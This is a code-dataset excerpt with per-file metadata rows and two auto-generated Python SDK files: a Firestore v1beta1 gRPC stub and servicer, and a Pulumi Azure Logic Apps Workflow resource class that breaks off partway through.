| 0
| 0.011588
| 0.199563
| 15,093
| 387
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| 0.725979
| 1
| 0.13879
| false
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| 0.017794
| 0.067616
| 0.676157
| 0
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| null | 0
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| 1
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|
0
| 10
|
e3bd63b73f356c6599f66f41b74ce868662266da
| 16,076
|
py
|
Python
|
firestore/google/cloud/firestore_v1beta1/proto/firestore_pb2_grpc.py
|
DaveCheez/google-cloud-python
|
fc03d4d41f13e9d13db7206438163b3a471fdabd
|
[
"Apache-2.0"
] | 2
|
2021-11-26T07:08:43.000Z
|
2022-03-07T20:20:04.000Z
|
firestore/google/cloud/firestore_v1beta1/proto/firestore_pb2_grpc.py
|
DaveCheez/google-cloud-python
|
fc03d4d41f13e9d13db7206438163b3a471fdabd
|
[
"Apache-2.0"
] | 8
|
2020-03-24T18:17:36.000Z
|
2022-03-12T00:14:02.000Z
|
firestore/google/cloud/firestore_v1beta1/proto/firestore_pb2_grpc.py
|
DaveCheez/google-cloud-python
|
fc03d4d41f13e9d13db7206438163b3a471fdabd
|
[
"Apache-2.0"
] | 1
|
2020-04-14T10:47:41.000Z
|
2020-04-14T10:47:41.000Z
|
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
from google.cloud.firestore_v1beta1.proto import (
document_pb2 as google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_document__pb2,
)
from google.cloud.firestore_v1beta1.proto import (
firestore_pb2 as google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2,
)
from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2
class FirestoreStub(object):
"""The Cloud Firestore service.
This service exposes several types of comparable timestamps:
* `create_time` - The time at which a document was created. Changes only
when a document is deleted, then re-created. Increases in a strict
monotonic fashion.
* `update_time` - The time at which a document was last updated. Changes
every time a document is modified. Does not change when a write results
in no modifications. Increases in a strict monotonic fashion.
* `read_time` - The time at which a particular state was observed. Used
to denote a consistent snapshot of the database or the time at which a
Document was observed to not exist.
* `commit_time` - The time at which the writes in a transaction were
committed. Any read with an equal or greater `read_time` is guaranteed
to see the effects of the transaction.
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.GetDocument = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/GetDocument",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.GetDocumentRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_document__pb2.Document.FromString,
)
self.ListDocuments = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/ListDocuments",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListDocumentsRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListDocumentsResponse.FromString,
)
self.CreateDocument = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/CreateDocument",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.CreateDocumentRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_document__pb2.Document.FromString,
)
self.UpdateDocument = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/UpdateDocument",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.UpdateDocumentRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_document__pb2.Document.FromString,
)
self.DeleteDocument = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/DeleteDocument",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.DeleteDocumentRequest.SerializeToString,
response_deserializer=google_dot_protobuf_dot_empty__pb2.Empty.FromString,
)
self.BatchGetDocuments = channel.unary_stream(
"/google.firestore.v1beta1.Firestore/BatchGetDocuments",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BatchGetDocumentsRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BatchGetDocumentsResponse.FromString,
)
self.BeginTransaction = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/BeginTransaction",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BeginTransactionRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BeginTransactionResponse.FromString,
)
self.Commit = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/Commit",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.CommitRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.CommitResponse.FromString,
)
self.Rollback = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/Rollback",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.RollbackRequest.SerializeToString,
response_deserializer=google_dot_protobuf_dot_empty__pb2.Empty.FromString,
)
self.RunQuery = channel.unary_stream(
"/google.firestore.v1beta1.Firestore/RunQuery",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.RunQueryRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.RunQueryResponse.FromString,
)
self.Write = channel.stream_stream(
"/google.firestore.v1beta1.Firestore/Write",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.WriteRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.WriteResponse.FromString,
)
self.Listen = channel.stream_stream(
"/google.firestore.v1beta1.Firestore/Listen",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListenRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListenResponse.FromString,
)
self.ListCollectionIds = channel.unary_unary(
"/google.firestore.v1beta1.Firestore/ListCollectionIds",
request_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListCollectionIdsRequest.SerializeToString,
response_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListCollectionIdsResponse.FromString,
)
class FirestoreServicer(object):
"""The Cloud Firestore service.
This service exposes several types of comparable timestamps:
* `create_time` - The time at which a document was created. Changes only
when a document is deleted, then re-created. Increases in a strict
monotonic fashion.
* `update_time` - The time at which a document was last updated. Changes
every time a document is modified. Does not change when a write results
in no modifications. Increases in a strict monotonic fashion.
* `read_time` - The time at which a particular state was observed. Used
to denote a consistent snapshot of the database or the time at which a
Document was observed to not exist.
* `commit_time` - The time at which the writes in a transaction were
committed. Any read with an equal or greater `read_time` is guaranteed
to see the effects of the transaction.
"""
def GetDocument(self, request, context):
"""Gets a single document.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def ListDocuments(self, request, context):
"""Lists documents.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def CreateDocument(self, request, context):
"""Creates a new document.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def UpdateDocument(self, request, context):
"""Updates or inserts a document.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def DeleteDocument(self, request, context):
"""Deletes a document.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def BatchGetDocuments(self, request, context):
"""Gets multiple documents.
Documents returned by this method are not guaranteed to be returned in the
same order that they were requested.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def BeginTransaction(self, request, context):
"""Starts a new transaction.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def Commit(self, request, context):
"""Commits a transaction, while optionally updating documents.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def Rollback(self, request, context):
"""Rolls back a transaction.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def RunQuery(self, request, context):
"""Runs a query.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def Write(self, request_iterator, context):
"""Streams batches of document updates and deletes, in order.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def Listen(self, request_iterator, context):
"""Listens to changes.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def ListCollectionIds(self, request, context):
"""Lists all the collection IDs underneath a document.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details("Method not implemented!")
raise NotImplementedError("Method not implemented!")
def add_FirestoreServicer_to_server(servicer, server):
rpc_method_handlers = {
"GetDocument": grpc.unary_unary_rpc_method_handler(
servicer.GetDocument,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.GetDocumentRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_document__pb2.Document.SerializeToString,
),
"ListDocuments": grpc.unary_unary_rpc_method_handler(
servicer.ListDocuments,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListDocumentsRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListDocumentsResponse.SerializeToString,
),
"CreateDocument": grpc.unary_unary_rpc_method_handler(
servicer.CreateDocument,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.CreateDocumentRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_document__pb2.Document.SerializeToString,
),
"UpdateDocument": grpc.unary_unary_rpc_method_handler(
servicer.UpdateDocument,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.UpdateDocumentRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_document__pb2.Document.SerializeToString,
),
"DeleteDocument": grpc.unary_unary_rpc_method_handler(
servicer.DeleteDocument,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.DeleteDocumentRequest.FromString,
response_serializer=google_dot_protobuf_dot_empty__pb2.Empty.SerializeToString,
),
"BatchGetDocuments": grpc.unary_stream_rpc_method_handler(
servicer.BatchGetDocuments,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BatchGetDocumentsRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BatchGetDocumentsResponse.SerializeToString,
),
"BeginTransaction": grpc.unary_unary_rpc_method_handler(
servicer.BeginTransaction,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BeginTransactionRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.BeginTransactionResponse.SerializeToString,
),
"Commit": grpc.unary_unary_rpc_method_handler(
servicer.Commit,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.CommitRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.CommitResponse.SerializeToString,
),
"Rollback": grpc.unary_unary_rpc_method_handler(
servicer.Rollback,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.RollbackRequest.FromString,
response_serializer=google_dot_protobuf_dot_empty__pb2.Empty.SerializeToString,
),
"RunQuery": grpc.unary_stream_rpc_method_handler(
servicer.RunQuery,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.RunQueryRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.RunQueryResponse.SerializeToString,
),
"Write": grpc.stream_stream_rpc_method_handler(
servicer.Write,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.WriteRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.WriteResponse.SerializeToString,
),
"Listen": grpc.stream_stream_rpc_method_handler(
servicer.Listen,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListenRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListenResponse.SerializeToString,
),
"ListCollectionIds": grpc.unary_unary_rpc_method_handler(
servicer.ListCollectionIds,
request_deserializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListCollectionIdsRequest.FromString,
response_serializer=google_dot_cloud_dot_firestore__v1beta1_dot_proto_dot_firestore__pb2.ListCollectionIdsResponse.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
"google.firestore.v1beta1.Firestore", rpc_method_handlers
)
server.add_generic_rpc_handlers((generic_handler,))
| 55.243986
| 145
| 0.762939
| 1,758
| 16,076
| 6.516496
| 0.108077
| 0.097416
| 0.061103
| 0.074197
| 0.827601
| 0.827601
| 0.825157
| 0.719186
| 0.719186
| 0.719186
| 0
| 0.014324
| 0.174919
| 16,076
| 290
| 146
| 55.434483
| 0.849367
| 0.145683
| 0
| 0.32
| 1
| 0
| 0.103029
| 0.047977
| 0
| 0
| 0
| 0
| 0
| 1
| 0.075
| false
| 0
| 0.02
| 0
| 0.105
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e3d978456213ea0cad55884d0bbbc9e258b914c6
| 41,523
|
py
|
Python
|
sdk/python/pulumi_azure/logicapps/workflow.py
|
roderik/pulumi-azure
|
f6d0c058d6f9111a709bc5f1515d1638f9d615f0
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/logicapps/workflow.py
|
roderik/pulumi-azure
|
f6d0c058d6f9111a709bc5f1515d1638f9d615f0
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/logicapps/workflow.py
|
roderik/pulumi-azure
|
f6d0c058d6f9111a709bc5f1515d1638f9d615f0
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['WorkflowArgs', 'Workflow']
@pulumi.input_type
class WorkflowArgs:
def __init__(__self__, *,
resource_group_name: pulumi.Input[str],
integration_service_environment_id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
logic_app_integration_account_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_schema: Optional[pulumi.Input[str]] = None,
workflow_version: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a Workflow resource.
:param pulumi.Input[str] resource_group_name: The name of the Resource Group in which the Logic App Workflow should be created. Changing this forces a new resource to be created.
:param pulumi.Input[str] integration_service_environment_id: The ID of the Integration Service Environment to which this Logic App Workflow belongs. Changing this forces a new Logic App Workflow to be created.
:param pulumi.Input[str] location: Specifies the supported Azure location where the Logic App Workflow exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] logic_app_integration_account_id: The ID of the integration account linked by this Logic App Workflow.
:param pulumi.Input[str] name: Specifies the name of the Logic App Workflow. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of Key-Value pairs.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] workflow_parameters: Specifies a map of Key-Value pairs of the Parameter Definitions to use for this Logic App Workflow. The key is the parameter name, and the value is a json encoded string of the parameter definition (see: https://docs.microsoft.com/en-us/azure/logic-apps/logic-apps-workflow-definition-language#parameters).
:param pulumi.Input[str] workflow_schema: Specifies the Schema to use for this Logic App Workflow. Defaults to `https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#`. Changing this forces a new resource to be created.
:param pulumi.Input[str] workflow_version: Specifies the version of the Schema used for this Logic App Workflow. Defaults to `1.0.0.0`. Changing this forces a new resource to be created.
"""
pulumi.set(__self__, "resource_group_name", resource_group_name)
if integration_service_environment_id is not None:
pulumi.set(__self__, "integration_service_environment_id", integration_service_environment_id)
if location is not None:
pulumi.set(__self__, "location", location)
if logic_app_integration_account_id is not None:
pulumi.set(__self__, "logic_app_integration_account_id", logic_app_integration_account_id)
if name is not None:
pulumi.set(__self__, "name", name)
if parameters is not None:
pulumi.set(__self__, "parameters", parameters)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if workflow_parameters is not None:
pulumi.set(__self__, "workflow_parameters", workflow_parameters)
if workflow_schema is not None:
pulumi.set(__self__, "workflow_schema", workflow_schema)
if workflow_version is not None:
pulumi.set(__self__, "workflow_version", workflow_version)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Input[str]:
"""
The name of the Resource Group in which the Logic App Workflow should be created. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: pulumi.Input[str]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter(name="integrationServiceEnvironmentId")
def integration_service_environment_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the Integration Service Environment to which this Logic App Workflow belongs. Changing this forces a new Logic App Workflow to be created.
"""
return pulumi.get(self, "integration_service_environment_id")
@integration_service_environment_id.setter
def integration_service_environment_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "integration_service_environment_id", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the supported Azure location where the Logic App Workflow exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="logicAppIntegrationAccountId")
def logic_app_integration_account_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the integration account linked by this Logic App Workflow.
"""
return pulumi.get(self, "logic_app_integration_account_id")
@logic_app_integration_account_id.setter
def logic_app_integration_account_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "logic_app_integration_account_id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Logic App Workflow. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A map of Key-Value pairs.
"""
return pulumi.get(self, "parameters")
@parameters.setter
def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "parameters", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A mapping of tags to assign to the resource.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="workflowParameters")
def workflow_parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Specifies a map of Key-Value pairs of the Parameter Definitions to use for this Logic App Workflow. The key is the parameter name, and the value is a json encoded string of the parameter definition (see: https://docs.microsoft.com/en-us/azure/logic-apps/logic-apps-workflow-definition-language#parameters).
"""
return pulumi.get(self, "workflow_parameters")
@workflow_parameters.setter
def workflow_parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "workflow_parameters", value)
@property
@pulumi.getter(name="workflowSchema")
def workflow_schema(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the Schema to use for this Logic App Workflow. Defaults to `https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#`. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "workflow_schema")
@workflow_schema.setter
def workflow_schema(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "workflow_schema", value)
@property
@pulumi.getter(name="workflowVersion")
def workflow_version(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the version of the Schema used for this Logic App Workflow. Defaults to `1.0.0.0`. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "workflow_version")
@workflow_version.setter
def workflow_version(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "workflow_version", value)
@pulumi.input_type
class _WorkflowState:
def __init__(__self__, *,
access_endpoint: Optional[pulumi.Input[str]] = None,
connector_endpoint_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
connector_outbound_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
integration_service_environment_id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
logic_app_integration_account_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_endpoint_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
workflow_outbound_ip_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
workflow_parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
workflow_schema: Optional[pulumi.Input[str]] = None,
workflow_version: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering Workflow resources.
:param pulumi.Input[str] access_endpoint: The Access Endpoint for the Logic App Workflow.
:param pulumi.Input[Sequence[pulumi.Input[str]]] connector_endpoint_ip_addresses: The list of access endpoint ip addresses of connector.
:param pulumi.Input[Sequence[pulumi.Input[str]]] connector_outbound_ip_addresses: The list of outgoing ip addresses of connector.
:param pulumi.Input[str] integration_service_environment_id: The ID of the Integration Service Environment to which this Logic App Workflow belongs. Changing this forces a new Logic App Workflow to be created.
:param pulumi.Input[str] location: Specifies the supported Azure location where the Logic App Workflow exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] logic_app_integration_account_id: The ID of the integration account linked by this Logic App Workflow.
:param pulumi.Input[str] name: Specifies the name of the Logic App Workflow. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: A map of Key-Value pairs.
:param pulumi.Input[str] resource_group_name: The name of the Resource Group in which the Logic App Workflow should be created. Changing this forces a new resource to be created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] workflow_endpoint_ip_addresses: The list of access endpoint ip addresses of workflow.
:param pulumi.Input[Sequence[pulumi.Input[str]]] workflow_outbound_ip_addresses: The list of outgoing ip addresses of workflow.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] workflow_parameters: Specifies a map of Key-Value pairs of the Parameter Definitions to use for this Logic App Workflow. The key is the parameter name, and the value is a json encoded string of the parameter definition (see: https://docs.microsoft.com/en-us/azure/logic-apps/logic-apps-workflow-definition-language#parameters).
:param pulumi.Input[str] workflow_schema: Specifies the Schema to use for this Logic App Workflow. Defaults to `https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#`. Changing this forces a new resource to be created.
:param pulumi.Input[str] workflow_version: Specifies the version of the Schema used for this Logic App Workflow. Defaults to `1.0.0.0`. Changing this forces a new resource to be created.
"""
if access_endpoint is not None:
pulumi.set(__self__, "access_endpoint", access_endpoint)
if connector_endpoint_ip_addresses is not None:
pulumi.set(__self__, "connector_endpoint_ip_addresses", connector_endpoint_ip_addresses)
if connector_outbound_ip_addresses is not None:
pulumi.set(__self__, "connector_outbound_ip_addresses", connector_outbound_ip_addresses)
if integration_service_environment_id is not None:
pulumi.set(__self__, "integration_service_environment_id", integration_service_environment_id)
if location is not None:
pulumi.set(__self__, "location", location)
if logic_app_integration_account_id is not None:
pulumi.set(__self__, "logic_app_integration_account_id", logic_app_integration_account_id)
if name is not None:
pulumi.set(__self__, "name", name)
if parameters is not None:
pulumi.set(__self__, "parameters", parameters)
if resource_group_name is not None:
pulumi.set(__self__, "resource_group_name", resource_group_name)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if workflow_endpoint_ip_addresses is not None:
pulumi.set(__self__, "workflow_endpoint_ip_addresses", workflow_endpoint_ip_addresses)
if workflow_outbound_ip_addresses is not None:
pulumi.set(__self__, "workflow_outbound_ip_addresses", workflow_outbound_ip_addresses)
if workflow_parameters is not None:
pulumi.set(__self__, "workflow_parameters", workflow_parameters)
if workflow_schema is not None:
pulumi.set(__self__, "workflow_schema", workflow_schema)
if workflow_version is not None:
pulumi.set(__self__, "workflow_version", workflow_version)
@property
@pulumi.getter(name="accessEndpoint")
def access_endpoint(self) -> Optional[pulumi.Input[str]]:
"""
The Access Endpoint for the Logic App Workflow.
"""
return pulumi.get(self, "access_endpoint")
@access_endpoint.setter
def access_endpoint(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "access_endpoint", value)
@property
@pulumi.getter(name="connectorEndpointIpAddresses")
def connector_endpoint_ip_addresses(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of access endpoint ip addresses of connector.
"""
return pulumi.get(self, "connector_endpoint_ip_addresses")
@connector_endpoint_ip_addresses.setter
def connector_endpoint_ip_addresses(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "connector_endpoint_ip_addresses", value)
@property
@pulumi.getter(name="connectorOutboundIpAddresses")
def connector_outbound_ip_addresses(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of outgoing ip addresses of connector.
"""
return pulumi.get(self, "connector_outbound_ip_addresses")
@connector_outbound_ip_addresses.setter
def connector_outbound_ip_addresses(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "connector_outbound_ip_addresses", value)
@property
@pulumi.getter(name="integrationServiceEnvironmentId")
def integration_service_environment_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the Integration Service Environment to which this Logic App Workflow belongs. Changing this forces a new Logic App Workflow to be created.
"""
return pulumi.get(self, "integration_service_environment_id")
@integration_service_environment_id.setter
def integration_service_environment_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "integration_service_environment_id", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the supported Azure location where the Logic App Workflow exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="logicAppIntegrationAccountId")
def logic_app_integration_account_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the integration account linked by this Logic App Workflow.
"""
return pulumi.get(self, "logic_app_integration_account_id")
@logic_app_integration_account_id.setter
def logic_app_integration_account_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "logic_app_integration_account_id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Logic App Workflow. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A map of Key-Value pairs.
"""
return pulumi.get(self, "parameters")
@parameters.setter
def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "parameters", value)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the Resource Group in which the Logic App Workflow should be created. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter
